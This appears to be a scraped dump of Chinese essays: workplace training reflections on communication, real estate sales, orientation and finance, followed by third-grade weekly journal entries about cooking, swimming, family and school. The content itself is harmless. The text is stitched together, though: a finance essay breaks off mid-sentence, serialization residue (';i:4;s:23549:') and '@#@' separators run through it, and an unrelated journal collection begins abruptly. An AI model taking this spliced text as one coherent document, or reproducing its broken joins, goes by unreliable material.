@#@对于机队助理来说,飞行大队是沟通所需的另一类特殊人群。
@#@在与人沟通中,针对不同的沟通对象,需要有不同的沟通方式和态度。
@#@@#@ 首先,和领导沟通要认清自己的位置。
@#@无论何时何地,行政助理都要切记自己是领导的助手,属于份内的事情要认真做好,除此以外不能擅做主张。
@#@要维护好管理层内部的团结,在向领导汇报、请示、反映问题时,不发表有关领导个人的议论,不当传话筒,不说不利于团结的话。
@#@同时,要有未雨绸缪的工作准备,在和领导沟通之前理清楚工作的条理,理清汇报思路,让沟通变得更加有效,节约领导的沟通时间成本。
@#@@#@ 其次,与同事沟通要把握好基本原则。
@#@待人随和,尊重他人,要学会关心他人,有良好的协作意识。
@#@要想和同事更好的沟通,我们还要在“情”字上下功夫,无论是在工作中,还是在生活上,要学会和同事沟通感情。
@#@工作中遇到问题需要向同事请教时,要谦和、诚恳;@#@同事在工作中遇到了难题向你请教时,要耐心地解答,做到知无不言,言无不尽。
@#@@#@ 总的来说,沟通是一项“软技能”,虽然没有具体的形象,但是良好的沟通却能提高工作的效率。
@#@做好行政工作,沟通是关键。
@#@在我未来的工作当中,我会进一步思考如何提高自己的沟通能力,将自己的工作做得更好。
@#@@#@ 【篇六】@#@ 从事房地产行业,这是我第一次参加系统的培训,很高兴有这样的一个成长的机会。
@#@本次培训内容涉及面广,黄维老师讲的很多项目的案例和一些房地产公司我都不知道,而通过此次培训,我觉得自己跟这个行业拉近了很大的一个距离。
@#@同时也学到很多道理,总结一下有以下几点:
@#@@#@ 1、做事情要有针对性:
@#@@#@ 此次培训主要分为两部分,第一部分主要探讨房地产企业营销模式和房地产项目的营销,第二部分讲解有关销售方面的内容。
@#@结合自己目前所处的职位来说,第二部分培训内容可能更实用一些。
@#@里面讲到了很多的职责、团队管理、销售技巧等一些内容,收益很大。
@#@特别是市场调研这一块,通过这一次培训,我觉得以前自己去踩盘,不够针对性。
@#@同时我希望自己今后不管做什么事情,一定要有针对性,这样不仅能提高效率,而且能提高质量。
@#@@#@ 2、只有创新才会进步:
@#@@#@ 黄维老师在培训的过程中,提到三个和尚怎么才能有水喝,答案很多。
@#@有人说三人合作,一起去挑水;@#@也有人说一人休息,两人去挑水。
@#@我觉得的答案,应该是一个和尚去挑水,两个和尚去打井。
@#@为什么说这是的答案呢?
@#@第一、前两个答案体现团队精神,但是却造成了人力资源的浪费。
@#@明明一个人可以做的事情,却要大家一起做,对于公司来说,领导是最不喜欢的。
@#@第二、一个和尚去挑水,两个和尚去打井这个方案不仅体现了团队精神,而且进行创新,他们已经站在从长远的角度看待问题。
@#@从这个例子得出,很多的时候,光有团队精神是往往不够的,我们必须学会创新,只有创新才会赢得最后的胜利。
@#@@#@ 3、学会要善于“表现自己”:
@#@@#@ 某天黄维老师与朋友去看某楼盘,走到小区的门口,看到一位保洁人员跪着擦地板,这情景让给他们印象很深。
@#@先不去讨论这位保洁人员是真的在擦地板还是在“做秀”,他们的目的都已经达到了,并且听说那楼盘还是很有知名度。
@#@从某方面讲,我们可以把善于“做秀”理解为善于“表现自己”,在现实中那些善于“表现自己”的人往往更能受到领导的赏识,更得到大家的认同。
@#@而作为销售人员,我希望自己也要学会学会要善于“表现自己”,在今后的日子里要加油。
@#@@#@ 除了上述几点,还有像重庆售楼处被砸事件反映出的一些问题等,类似收获还有很多,在此得出一个结论,只有通过不断努力,才能证明自己的运气永远比别人好。
@#@@#@ 【篇七】@#@ 20xx年11月1日北大董教授给我们作了“房地产理性认识”精彩授课,这是在房地产严峻形势下一次积极有效的培训,通过这次学习更增强了我们的信心,鼓舞了士气,面对困难,同舟共计,勇于挑战,真品质敢为人先,彰显新能源人的个性。
@#@@#@ 一、坚定信心,塑造新能源力量@#@ 我们必须清醒地认识到,受国际金融海啸的影响,加之前期国家的宏观调控,当前房地产市场的严峻性。
@#@面对这样的新形势、新的发展机遇,在房地产即将全面进入“过冬”,我们如何过好这个“严冬”,而不被冻伤。
@#@听了董教授的授课,对目前房市的迷局,更加坚定信心。
@#@肯定了房地产已成为国民经济支柱产业重要性的事实,而房地产市场永远是老百姓关注的重点;@#@这个行业才刚年轻;@#@其表现在国家出台一系列的“救`市”政策措施,及各地方政府也出台了一系列相应的“救`市”政策措施,更是显而易见,因此我们要正视它,学会“与它共舞”。
@#@展望房市的未来,我们充满了信心与挑战,而此时短暂的寒冬,其生存的法则,则品质是关键。
@#@品质需要我们坚持不懈“精耕细作”的努力,即塑造新能源力量。
@#@把自己的工作做到极致,创新工作、团结协作,将新能源十多年来辛勤耕耘的品牌,与开发的每一幢楼、每一个楼盘的品质,更与新能源人品德相统一,为业主贡献精品建筑,打造精品楼盘,让他们不留遗憾,真正有一种选择一次、和美一生的感觉。
@#@@#@ 二、辩证地看待房地产市场,共建房地产理性市场@#@ 房地产市场风险与机遇是并存的,它是辩证的。
@#@房地产业是从无到有、从小到大的发展历程,就是住房制度变迁的结果,房地产市场10多年来这样发生冲突的原因是利益的冲突,房地产的价格制度、房地产的税收制度等等都不完善,我们期盼房地产建设理性市场。
@#@@#@ 建设房地产的理性市场我觉得还有一个非常重要的是房地产企业,也需要房地产企业的理性,我觉得首先是房地产企业要有责任心,房地产行业在中国是一个年轻的行业,每个房地产企业都要小心的呵护行业的健康发展,第二个我觉得要设立行规,企业要主动承担维护市场秩序、维护行业形象职责,要把实现企业利润化和社会利益化结合起来。
@#@@#@ 1、企业要生产更好的产品、更多的向广大消费者贡献高性价比的房产,高性价比的商品是对消费者的尊重,我们入行十年来也做了一些尝试,我们主要是要高效整合各项资源把成本控制贯穿在项目开发的每个环节,对利润追求要平衡,严谨成本控制和合理利润率定位,让消费者在当中得到更多实惠,分享到房产增值的空间。
@#@@#@ 2、再就消费者建设房地产理性市场,消费者也要理性,我觉得消费者的理性在于不轻于跟踪购买,而是跟供需、购买需求有比较、有鉴别地理性消费,这样的理性消费也许少了火热的场面,但是是房地产发展所必须的,这是消费者所必须的。
@#@@#@ 3、媒体也要更多的一些理性,现代经济生活当中媒体的影响力不断加强,有时候甚至可以左右消费者的视听,影响到市场的正常发展,影响越大责任越重,媒体准确宣传、正确引导的作用,媒体对房地产业的影响是很大的。
@#@媒体和政府、企业、消费者如果能够形成良性的互动,对房地产业多做客观、公正善良的报道,对理性市场建设的作用是十分巨大的。
@#@@#@ 4、在主流开发商的努力下,民众意见更多地吸收和采纳,包括对产品的定价、对功能的设计、对户型的要求等等,我们更多借鉴生产制造企业和生产商的经验,为市场共同进步,为共同更好地满足消费者需求进步,而不是把瑕疵的产品带给消费者。
@#@@#@ 我相信房地产业经过这么多洗礼以后能够走得更稳更好。
@#@@#@ 【篇八】@#@ 一、高效@#@ 一整天的培训,有点疲惫。
@#@但可以说这是一场高效率的培训课程。
@#@在简短的一天时间里大到集团过去、现在、未来战略规划,小到员工上班时候的服装、规范、动作。
@#@很直观的让每一个新人心中对于集团奖惩、请假、福利、晋升等一些列规章制度有了一个很明确深入的了解。
@#@@#@ 二、冲击@#@ 今天的培训除了对于企业的成长史以及各种规章制度有了一个详细的了解,更多的是被泰禾和泰禾人的诸多事迹所震撼到了。
@#@例如天元花园的安保及时的发现隐患不顾自身危险抢救业主财产,黄董一掷千万从造绿化景观;@#@十年一剑的北京院子;@#@安保兄弟奋不顾身飞扑持刀歹徒;@#@为保证业主生活质量组织全体物业人员夜晚抓青蛙等诸多事迹,让我和在座的每一位同学对在一线工作的同事感到由衷的钦佩也对我们黄董魄力和做事方法感到佩服。
@#@也印证了泰禾能得到广大业主认的可与每一个员工的付出是密不可分的。
@#@@#@ 三、关心@#@ 今天的培训还让我深深地了解到集团对于员工的关心,不论是工作还是生活。
@#@在工作中集团任人唯贤,为不同工种的员工打造不同的晋升通道,不论你是专业人才还是管理人才,只要你有才能只要你敢证明自己,晋升通道的大门就是为你敞开的。
@#@既使你初中没有毕业,只要你肯学习,只要你有能力!
@#@你就可以上!
@#@这一点让我非常的心动和认可,一切都是在用自己的能力说话。
@#@给予大家公平的机会和一个良好的平台,我觉得这样的职业发展通道,让我们每个人都鼓起十二分的干劲,为了自己的明天去奋斗。
@#@在生活中,集团定期组织各种文化娱乐活动丰富大家的业余生活,不管是从体育、文艺、趣味竞技、相亲、生日会、爱心募捐都让我们了解到企业在生活上也很关心我们每一个位泰禾人。
@#@让我们在繁重的工作之后可以放松自我,更好的迎接新的工作做,让我们可以接触其他部门的同事也让我们可以更好的融入整个泰禾大家庭。
@#@@#@ 四、领悟@#@ 从今天的培训中我也有一些自己的体会,我觉得对我的以后的工作会有很大的帮助。
@#@首先在今天的培训中,从培训开始的第一件事情就是将我们进行分组并选出一名组长,实行加分制度让我们每个人都会为自己组、为了自己的荣誉去积极的回答问题。
@#@从一开始就形成一种竞争的气氛,调动起每个人不服输的精神让每个人都在不觉中认真倾听和思考。
@#@其次是在中场休息后下一位老师来讲课时候我们都会进行一个素质拓展小游戏,以小组为单位来进行让我们快速的从下课慵懒放松的精神状态进入到一个相对紧张集中的状态中,对后面的讲课有一个很好的铺垫。
@#@最后在上课的过程中要将幽默穿插其中,让学员对课程提得起兴趣,但在对幽默的题材选择上要先分析授课对象的情况。
@#@题材没选好,就会像和外国人讲中国笑话一样对方根本反应不过来出现冷场。
@#@这些优缺点都是在以后工作中要注意和学习的。
@#@@#@ 五、感谢@#@ 最后要感谢百忙之中抽空给我们上课的各位老师,给我们讲解各项知识技能、规章制度,让我们每一位同学都收获良多,更加了解我们所在的企业,明确我们自身的发展方向。
@#@感谢我的各位组员,谢谢你们对我的支持,大家来自不同的工作地点,却能像一家人一样互相帮助,小组夺冠离不开优秀的你们,希望日后工作中还可以遇见你们。
@#@@#@ 【篇九】@#@ 通过两天的培训及考试,虽然时间不长,但两天下来的收获却是比当初想像的要多的多,这次财务人员学习培训让我进一步了解了公司运营情况、会计条例、会计基础知识、会计法等内容。
@#@以前也接触类似方面的培训,但自己对于财务的理解还是不够深入,通过这次的培训,对于财务有新的感悟,对公司运营情况也有了更深刻的理解。
@#@@#@ 培训虽然结束了,相应的知识也学到了,但对于财务的理解却远远还没有结束。
@#@培训使得我懂得对于公司运营情况了解的重要性,对公司运营情况的的了解对于帐务处理起到非常重要的作用。
@#@对公司运营情况的理解使得我可以更好的进行帐务处理,减少因帐务处理不当而引起的涉税风险。
@#@做财务工作,最重要的是要注意细节,这样自身必将更加具有竞争力。
@#@@#@ 通过培训,也发现自己与同事沟通不够,工作方面存在毛躁的毛病。
@#@以后要广泛积累经验,提高业务技能,多沟通,作为财务工一定要不断提高自身业务能力,严守会计法规,扎扎实实的把财务工作做好,这些年虽积累和掌握了一些专业技能,对会计记账分录等等都己掌握,但需要学习和更新的地方还很多。
@#@@#@ 因此,在今后工作中,我应当热爱本职工作,努力钻研业务,使自己的知识和技能适应所从事工作的要求,并熟知财经法律、法规、规章制度,并结合公司会计工作,保证所提供的会计信息合法、真实、准确、及时、完整。
@#@现代社会是知识竞争的年代,“谁拥有了知识,谁就拥有了明天”,只有不断学习,不断掌握新的知识,才能到达新的高峰。
@#@@#@ 这次培训就给了我一个非常好的学习平台,我作为一名财务人员,在今后的工作和生活中,我会不断提高自身业务素质,树立正确的人生观,做到依法办事、爱岗敬业。
@#@时刻自重、自警、自省、自励。
@#@争取做好财务工作,为公司的财务工作做出应有的贡献。
@#@@#@ 【篇十】@#@ 作为公司财务队伍中的一员我很荣幸地参加了公司在烟台组织的业务培训,特别是听了刘岐老师的关于全面预算财务分析现金流管理的授课,受益良多。
@#@总的来说除了学习到业务知识外,同时也开阔了我的眼界,洗礼了我的思想,使我对财务工作又有了更进一步的认识。
@#@这次培训使我从平时繁杂琐碎的工作中暂时脱离出来,停下脚步,静下心来加强理论学习和实践思考,更深刻地去认识财务工作的实质,去弄清楚数字背后所隐含的真实。
@#@@#@ 刘老师从企业风险管理入手,从企业战略角度出发,来解释了什么是全面预算和全面预算对企业发展的作用,其中贯穿着财务分析和现金流管理。
@#@讲解了运用全面预算模式来整合资源的效用,将资本模式、商业模式和管理模式相结合来实现企业价值。
@#@我们财务作为这三方面的关键执行机构之一,在其中起着至关重要的作用。
@#@@#@ 平时我们项目财务所做的预算工作只是零敲碎打的一部分,通过这次全面预算的学习使我站在更高的角度去看待预算的重要性,全面的了解预算的流程,更好的执行公司财务下达预算的编制。
@#@@#@ 让我最有感触的是财务分析这块,通过这次的学习,我深深的感到平时工作的不足。
@#@报表数字背后隐含了什么?
@#@作为基层的财务人员,平时都埋头于零碎的基础工作,报表也是按部就班的填列,很少去好好的去做财务分析,更别说是通过财务分析来给企业发展出谋划策,经过这次培训的醍醐灌顶,我也会加强这方面的业务学习。
@#@@#@ 让我非常感兴趣的是资本运作这方面,刘老师通过两个经典的例子完美的诠释了资本运作的效用,深深地震撼了我,一直以为财务是一个管理和服务的后勤部门,然而通过资本的运作可以直接给企业带来价值,使我思想上深受";i:
4;s:
23549:
"三年级周记精选15篇@#@三年级周记精选15篇@#@ @#@三年级周记1@#@ 今天我当家。
@#@首先去菜场买菜,妈妈要我看看菜新鲜不新鲜,贵不贵。
@#@我看见了臭哄哄的鸡、鸭、鸽子;@#@活蹦乱跳的虾;@#@还有八脚怪——螃蟹……总之琳琅满目,令我应接不暇。
@#@我精心挑选后,买了昌鱼、大白菜、番茄、蘑菇……@#@ 开始烧东西了!
@#@先盛出3满勺米,洗干净后放进电饭煲里,再倒进一些水,盖好盖子,好了!
@#@然后煎鸡蛋,从冰箱里拿出一个鸡蛋,轻轻地敲了几下,生怕它漏出来,拿出来倒在碗里。
@#@咦,怎么倒不出来了呀?
@#@我叫到:
@#@“妈,鸡蛋倒不出来了呀?
@#@”妈妈赶紧跑过来,她以为鸡蛋坏了,哪知道我只敲了几下,没破,根本漏不出来!
@#@我加了点盐、葱、味精和老酒。
@#@打糊后倒入锅中烧一下,金灿灿的煎鸡蛋就做好!
@#@接着再烧昌鱼,先把锅热一下,再倒进适量的油,把锅摇一下,放进生姜和鱼,再放进盐、醋、酱油、白砂糖、老酒、水,水沸腾后,把火关小点,过两三分钟后加入葱、味精就可以出锅了!
@#@香气扑鼻的昌鱼就烧好了!
@#@我还烧了大白菜,一开始我以为自己会烧焦,其实并不这样,只不过太咸了,可我喜欢吃咸的!
@#@我最拿手菜的是凉拌番茄。
@#@@#@ 我终于学会了烧饭!
@#@我还拖了地、洗了红领巾、……当家真累。
@#@我以后要多帮妈妈干家务,不然妈妈可要累了。
@#@@#@ @#@三年级周记2@#@ 上个星期天,妈妈带我去岭南印象园游玩。
@#@当我们正走在那条仿古小街上时,突然听到了一阵悠扬、悦耳的声音,我顺着声音跑过去,只见几个小朋友围在一个摊档前。
@#@我也好奇地挤上去看,原来是一个哥哥在吹一个怪模怪样的小玩艺。
@#@后来我才知道,这玩艺叫“陶笛”,是我国最古老的乐器之一。
@#@@#@ 陶笛的形状很像一条鱼,是土黄色的,大约有八、九厘米长。
@#@它是空心的,表面有九个小孔,有的大、有的小。
@#@吹的时候,就是通过按不同的孔发出不同的声音。
@#@顾名思义,陶笛当然是用陶做的啦!
@#@@#@ 天生就热爱音乐的我,当然想买个陶笛来吹吹啦!
@#@一打听价钱,天啊!
@#@一个就要二十元钱呢!
@#@我觉得太贵了。
@#@可妈妈见我这么喜欢,就给我买了一个。
@#@@#@ 我太喜欢它了,在游园时一直都在吹。
@#@别看那个哥哥吹得那么动听,可这小东西一到我手里,就不那么听使唤了,不但没有发出悦耳的@#@ 声音,简直就是在制造噪音!
@#@但我并不灰心继续摸索,终于摸会了一两句《兰花草》。
@#@我兴奋极了,抱着妈妈使劲地亲呀亲:
@#@“谢谢妈妈给我买了陶笛!
@#@”@#@ 陶笛,你给了无限的快乐!
@#@@#@ @#@三年级周记3@#@ 我叫郑宇,今年__年级,都快十岁了。
@#@我长得黑黑的,瘦瘦的,喜欢跑步,但是有点懒,做数学作业时,只要是提升题我都不愿动脑筋去想,做语文作业时,总想着如何偷工减料。
@#@@#@ 我其实很开朗,但那只是在家里,可是不知道什么原因,一到学校我就显得无精打采,除非有高兴的事,才会笑?
@#@我左思右想,苦思冥想,终于明白了,可能是因为自己怕老师才会这样。
@#@@#@ 我的鼻子特灵敏。
@#@在家,只要一有香气,我就可以闻得到,哪怕相隔五百米。
@#@一次,妈妈买了我爱吃的臭豆腐干,还没等她走到家,我就已经顺着香气走到了妈妈跟前。
@#@我一边吃一边说着“真香”两个字,想着这个臭豆腐果真是遗臭万年呀。
@#@@#@ 我喜欢白色,白色是纯洁的,是美丽的,美丽的东西谁不爱?
@#@。
@#@别看我现在黑,可我刚出生时皮肤白着呢,真希望能回到小时候。
@#@@#@ 虽然我是男孩子,可我有个的缺点——爱哭。
@#@老师批评我,我会哭;@#@爸爸妈妈训我,我会哭;@#@身体不舒服了,我会哭;@#@同学欺负我了,我会哭……我哭起来和别人不一样,一哭就会哭很长时间,就因为这,朋友们、同学们老笑我,我也不想这样,可眼泪不听我的话呀。
@#@唉。
@#@真希望自己能改掉这个坏毛病。
@#@@#@ 这就是我——郑宇。
@#@@#@ @#@三年级周记4@#@ 今天妈妈给我办了张游泳年卡,就在我家不远的地方,离我的小学不远。
@#@@#@ 我们一进去就看见了游泳场,我直接一溜烟儿的跑进去,差点跑到女的地方,妈妈跟我说:
@#@“这里是男,这里是女!
@#@”这个我自己看得清楚,为什么还要妈妈说呢?
@#@@#@ 我进入男的地方,我的箱子是238,我把238打开以后,把游泳裤换上,游泳帽换上,游泳眼镜也换上。
@#@我没有锻炼就直接下水了,会抽筋?
@#@怎么我没有抽筋呢?
@#@里面只有一个泳道,不是从中间分一半哦,是在长方形的一边栏了一个泳道。
@#@这个游泳池还蛮小的,源深体育馆的游泳池很大很大,有四个泳道哦,不过,还是太远了,其实,我觉得不远,但是妈妈说太远,就换了个游泳池。
@#@@#@ 我一个扫荡腿就跳进水里,啊,水有点凉,我游了很多花样,妈妈还给我一个水枪,我喷、喷、喷,觉得游泳玩水枪不方便,所以,我又给妈妈,给妈妈还有一个游戏就是,如果我游得不好,妈妈就用水枪喷,如果我游得好,妈妈就表扬我,就不喷我。
@#@@#@ 我自由泳游了两个来回100米就觉得有点累了,蛙泳就不累,可以游一百来个来回也不会累。
@#@我还交了一个朋友,比我高一些,比我大一些,我和他比赛游泳,哈哈,我比他快一点点!
@#@都是一点点。
@#@@#@ 在小游泳池,他用了一个飞镖,射过去,一贴就贴住了,我们玩得很开心!
@#@今天我游泳游得脚都泡白了。
@#@@#@ @#@三年级周记5@#@ 人生就像一个数字“2”,只有把那个“弯”走完,才能走上光明大道。
@#@而在成功之前,必须要坚持,坚持你的信念,这样才会成功。
@#@@#@ 去年暑假,我和爸爸妈妈一起来到了有着“百谷之峡”之称的百里峡。
@#@@#@ 百里峡里面四季如春,林深叶茂。
@#@它分为三个部分:
@#@蝎子沟、一线天和千步梯。
@#@蝎子沟是一个弯弯曲曲的山坡,从高处望去就像一条彩带缠绕在百里峡上。
@#@一线天是在两座山之间的一条小径,宽度只有一个人的位置。
@#@而百里峡的压轴景——千步梯,又被人称为“勇气之梯”,全长有2304节台阶,许多人都慕名而来。
@#@@#@ 我和爸爸妈妈决定爬上去,刚开始我一路欢声笑语,一会儿蹦到这儿,一会儿跳到那儿。
@#@不一会就累了。
@#@我勉强还能继续爬,当爬到一半时,我再也受不了了,就坐了下来,哭丧着脸对妈妈说:
@#@“唉,累死我了,我们下去吧!
@#@”妈妈说:
@#@“现在下去也是走一半,上去也是走一半,等到你上去了,就不会再这么累了。
@#@”“是呀,人的意志往往就在一瞬间,再努力一下,肯定会到的。
@#@”爸爸也停下来跟我说。
@#@我心里一颤,却还是不肯挪动脚步。
@#@妈妈见状说:
@#@“现在这条路就好比人生之路,后退的人就是失败者,而继续坚持的人将会尝到成功的乐趣。
@#@”听了爸爸妈妈的话,我再一次迈动我那像灌铅一样的腿,脑子里只有两个字:
@#@“坚持。
@#@”在父母的帮助下,我终于站到了山顶上,终于感受到了“一览众山小”的感觉,我成功了。
@#@@#@ @#@三年级周记6@#@ 昨天晚上我们宿舍里买了不少的零食,主要就是瓜子和橘子,回来我们宿舍的人就开始吃,也没有人注意卫生!
@#@@#@ 可是没有想到的是,东西都已经吃完了,就是没有人打扫卫生,昨天晚上的东西昨天的人不打算打扫干净,说是因为他已经打扫了,所以就没有准备去打扫;@#@而今天这个人根本没有想法,就好象不是自己的任务一样,今天早上起床后就不知道去哪里了,一天没有看见踪迹,而走的时候也没有打算打扫干净,看来这两个人根本不适合打扫卫生,不过这都是他们的任务!
@#@@#@ 我今天早上起床后就发现这里满地垃圾,我也根本没有打算打扫卫生的想法,他们两个人在周末打扫卫生,可是我觉得这两个人在这里就根本不认真负责,由于这两个人是本地居民,因此总是会在这个时候回家,尤其是周末的这人,离家的距离最近,隔三差五就会回去一趟,尤其是在这个周末,因此在这个时候总是需要有人帮助他,但是这人也没有打算换一下,把自己换到前五天其中的一个。
@#@@#@ 我就准备在这里看着这个宿舍的卫生,反正我是不会动手,谁受不了谁去打扫卫生,该是谁的就是谁的任务!
@#@@#@ 当我午饭回来的时候就看见舍长开始打扫卫生了,他在今天早上起床后上网了,这个人不愧是一名舍长!
@#@@#@ @#@三年级周记7@#@ 能因为一点小事开一场辩论会,更能因为答题的机会而大发争执,他是谁?
@#@他就是我们班大名鼎鼎的班副——万礼闻。
@#@@#@ 他可是静不过处子,动的过疯兔。
@#@他牢牢记住了“生命在于运动”这句话,上课时,根本不会一本正经地坐在那里一言不发,总是不由自主地站起来,无论别人在说什么,总想掺和两句,好像不说话别人就会把他当空气一样。
@#@@#@ 如果黑板上有几个题让做,那更是不得了。
@#@老师刚抄好题,他就猛地一跳,喊着:
@#@“叫我!
@#@”完全不顾周围同学的感受,也多次因此被老师点名,扣分。
@#@可依万礼闻的性格,区区两分算什么,就算把他们组的分扣完,也改不了他的性子。
@#@这虽是爱学习的表现,可方式却不太恰当。
@#@@#@ 数学课上,老师让四个同学上来写题,可惜全部错误,不等老师出口,几个同学早已争先恐后地上了黑板改错。
@#@我早早看好了一道错题,等写的人前脚刚下去,我后脚就迈了上去,进行改错。
@#@万礼闻一手拿着自己写好的答案,一手拉开人与黑板对照答案,看到我那题没改完,不管三七二十一直接撞了过来,我猝不及防地被撞到一边,心里当然不服气,把他拉开,他又顺势缠住我的手。
@#@最后还是数学老师出马,解开了这个局面。
@#@@#@ 万礼闻心有不甘地找了一道题看了两眼,认为无误,便随便打了一个对号,若无其事地写上了自己的大名。
@#@可当老师讲完这道题后,才发现它是错的,他还事后诸葛亮说:
@#@“没错!
@#@对!
@#@跟我想得一样,漂亮!
@#@”每一节课都能听到几句这样的话,一个课堂上的活跃分子。
@#@@#@ @#@三年级周记8@#@ 开学啦!
@#@同学们都不想离开温暖的家。
@#@@#@ 到了离学校几十米的地方,就可以看见很多的车辆,就好像一片海洋。
@#@我们想找一个停车的位置,可是,车辆实在太多了,根本就找不到停车位。
@#@到了学校的校门口,我看见了有的学生还在拉着妈妈在哭泣,有的学生舍不得离开妈妈,不进校门口。
@#@有的学生很坚强,他不想离开妈妈的`怀抱,特别想哭泣,可是,他并没有这么做,而是一滴眼泪都没有掉,装作很开心。
@#@因为他不想妈妈为他担心,他还知道哭是没有用的,哭也得在学校,不哭也得在学校,所以他选择了不哭。
@#@他还知道,妈妈每年花那么多的钱是让人他来学知识的,能学到知识才是最大的收获。
@#@@#@ 我也不想离开妈妈的怀抱,当妈妈去宿舍给我去床铺的时候,我想,妈妈铺完床铺把我送到教室就要在了,我特别想哭。
@#@妈妈把宿舍的东西都给我收拾好了,我们来到教室,妈妈把我的作业收拾好之后,给老师说了几句话之后,就离开了,我看着妈妈离去的背影,我还想哭泣啊!
@#@@#@ 我不想离开温暖的家,我更不想离开妈妈的怀抱!
@#@@#@ @#@三年级周记9@#@ 太阳是无私的,它把光明和温暖撒向人间;@#@路灯是公正的,它把光明献给每一个过往的车辆。
@#@然而,最可敬的却是那最弱小的蜡烛。
@#@@#@ 蜡烛,多么地渺小啊!
@#@既没有太阳的温暖,又没有霓虹灯的豪华,可它却有一颗无私奉献的心。
@#@@#@ 在我们的生活中,不是正有千万支如此这般的烛吗?
@#@@#@ 我们的老师不正是一根蜡烛吗?
@#@@#@ 老师为了我们付出了自己所有的青春,所有的心血。
@#@老师把自己全部的光亮都献给了求知的学子们。
@#@老师,我心中的烛,学子心中的太阳啊!
@#@谢谢您的光亮,让我继续走向前方。
@#@@#@ 蜡烛在生命的最后一刻,依旧无私地奉献这自己的余光,多么伟大的烛啊!
@#@@#@ 老师辛苦了一生,付出了一生,难道得到了什么回报吗?
@#@是的,他得到了。
@#@他得到的是教育学子的快乐和传播知识的幸福。
@#@@#@ 烛默默地照亮了每个人的心灵。
@#@照亮了黑暗角落,照亮了所有枯干的心。
@#@@#@ 没有太阳的光亮,就甘心做一支平凡的蜡烛,在自己的岗位上发热发光。
@#@没有霓虹灯的豪华,却有心灵的点缀,蜡烛,你永远是我心中最亮的,最美的……@#@ 我终于见到了我心中的蜡烛……@#@ 我终于点亮了我心中的蜡烛……@#@ 这就是我心中的烛,最不起眼的烛,最小却最美的烛,不与太阳争辉,不求回报,默默奉献光明的烛……@#@ @#@三年级周记10@#@ 今天上午,我随爸爸到平阳浦菜市场去买菜。
@#@菜市场非常繁华,有卖猪肉类的,有卖水果类的,还有卖蔬菜类的,甚至还有买衣物和被褥类的。
@#@@#@ “卖肉喽,卖肉喽。
@#@”一个年轻力壮的中年男人吆喝着,爸爸立刻被吸引过去,挑了一块又大又肥的肉,只见卖肉人一刀剁下去,一块瘦肉便与母体分开了。
@#@接着爸爸到蔬菜类摊贩上,爸爸问我:
@#@“你喜欢吃什么菜?
@#@”我立刻回答:
@#@“黄瓜、土豆和西红柿。
@#@”爸爸转了一大圈才找着了几根有短又胖的黄瓜,摊主是一位中年妇女,所以她的动作非常敏捷,随之爸爸又在她那买了几个西红柿。
@#@而相反爸爸又在一个年过花甲的老奶奶那里买了一元钱一把的小菜,老奶奶慢慢地拿出了一个塑料袋把菜包好,而此时爸爸早已把钱放在桌上了,老奶奶还在桌子上扫视了几遍才发现了那一元钱,速度比刚才的那个阿姨慢了好几倍。
@#@紧接着,爸爸又绕了一大圈,到了一个大概20岁的小伙那儿买了几个“土豆宝宝”。
@#@随着把菜放进了自行车前面的篓子里,骑着自行车带我回家了。
@#@@#@ 回想刚才卖菜的那一幕幕,我非常感动,因为正是这些人,才繁荣了我们的市场!
@#@@#@ @#@三年级周记11@#@ 在学校,我最喜欢玩的游戏就是捉迷藏了。
@#@我,彭程,江希航一到下课时间,我们就会用最快的速度跑到教室外,开始了我们的游戏了,我们中间跑到最慢的就要抓跑得快的两人,呵呵!
@#@偷偷的告诉你们吧,彭程抓的次数是最多的,我最喜欢藏到学校的旧教学楼四楼,一是它有两个通道,二是有栏杆挡住视线,我可以看到别人,人家在楼下却看不到我,只有上楼才看到,可只要一上来,我早就溜之大吉了,他们就会竹篮打水一场空------白费力气!
@#@@#@ 江希航最喜欢藏在教室里,可彭程老玩到半途就要喝水,(__^__^__)嘻嘻……,这样的地点对江希航可不利哦,所以,她老被彭程找到。
@#@彭程最喜欢藏在滑滑梯那下面的猫猫洞里,江希航可喜欢在那地方玩了,玩着玩着,彭程就被找到了,只剩下我一个人孤零零的在我的瞭望台上看风景,没办法,我只得下来找他们了。
@#@这样的游戏我真的很喜欢玩,它不仅可以锻练我们的探索能力还能增强同学之间友谊,在紧张的学习中还能放松我们紧绷的神经系统,我爱玩捉迷藏!
@#@@#@ @#@三年级周记12@#@ 我有一位爱唠叨的妈妈。
@#@每当我有些事做得不好,她便开启了“声波技能”。
@#@每次,我都会躲开这个范围。
@#@@#@ 记得有一次,我被老师批评了,回到家中。
@#@妈妈便说:
@#@“今天怎么被批评了啊,说了要你早点睡早点睡,你一定要玩会电脑。
@#@今天又被批评了吧……”我答道:
@#@“我没有,只是有些困了,你就别念了吧!
@#@”我冲进小房间,用力的关上门,锁上。
@#@我妈妈的唠叨就被我隔绝在外,但心里总有些不舒服。
@#@晚饭时,妈妈又开始唠叨了,说我吃饭姿势不正确,不扶碗啊,筷子没拿好啊……我总是简简单单的回一句“嗯,我晓得了,别念了!
@#@”我知道这是为我好但也不要整天都围着我说啊!
@#@@#@ 一次,我和朋友们一起在打球,玩的开开心心,但是我不小心把邻居家的玻璃打碎了。
@#@我不知道怎么办,变惊慌失措跑上楼告诉了妈妈情况。
@#@我低着头,准备接受巴掌的惩罚,和唠叨大法。
@#@但妈妈并没有打我,只是和我唠叨,说:
@#@“跟邻居要和睦相处;@#@做事情要考虑周全,不要只顾自己,不顾别人;@#@弄坏了别人的东西,要主动上门道歉并赔偿。
@#@”这些都是为人处事的道理,妈妈不仅不打我还教了我在社会中的道理,那是份沉甸甸的爱啊!
@#@我的妈妈总是无私的帮助我,我却总是不耐烦。
@#@@#@ 现在,妈妈的唠叨成了我学习的一部分,我爱那份唠叨。
@#@那是我妈妈的爱,现在,我要去好好感受那份爱……@#@ @#@三年级周记13@#@ 听别人说:
@#@“用海纳百川,宽容乃大。
@#@这几个字来形容大海,简直再合适不过了。
@#@”我经常听别人说,海怎么美……听他们描述的时候,我的脑海中就能浮现那美丽的海。
@#@可惜的是,我从来就没有去过。
@#@也不知道大海究竟是什么样子的。
@#@@#@ 就在去年的夏天,我的愿望实现了。
@#@爸爸决定带我去日照,他还约了自己的几个好朋友。
@#@这里离日照路途遥远,我们因为坐车时间长,弄得十分难受。
@#@在车里憋了整整三个小时,终于到了美丽的日照。
@#@一到那里,清新的海风吹着我,在车上那难受的感觉,简直不足挂齿。
@#@@#@ 到了那里,我们找好了住所,就拿起充好气的游泳圈。
@#@去了海边,我套上游泳圈,高兴地冲进了海里。
@#@可是,还没完全进去,海浪就一下子把我拍翻在地。
@#@我还喝了点海水,呸!
@#@咸死我啦!
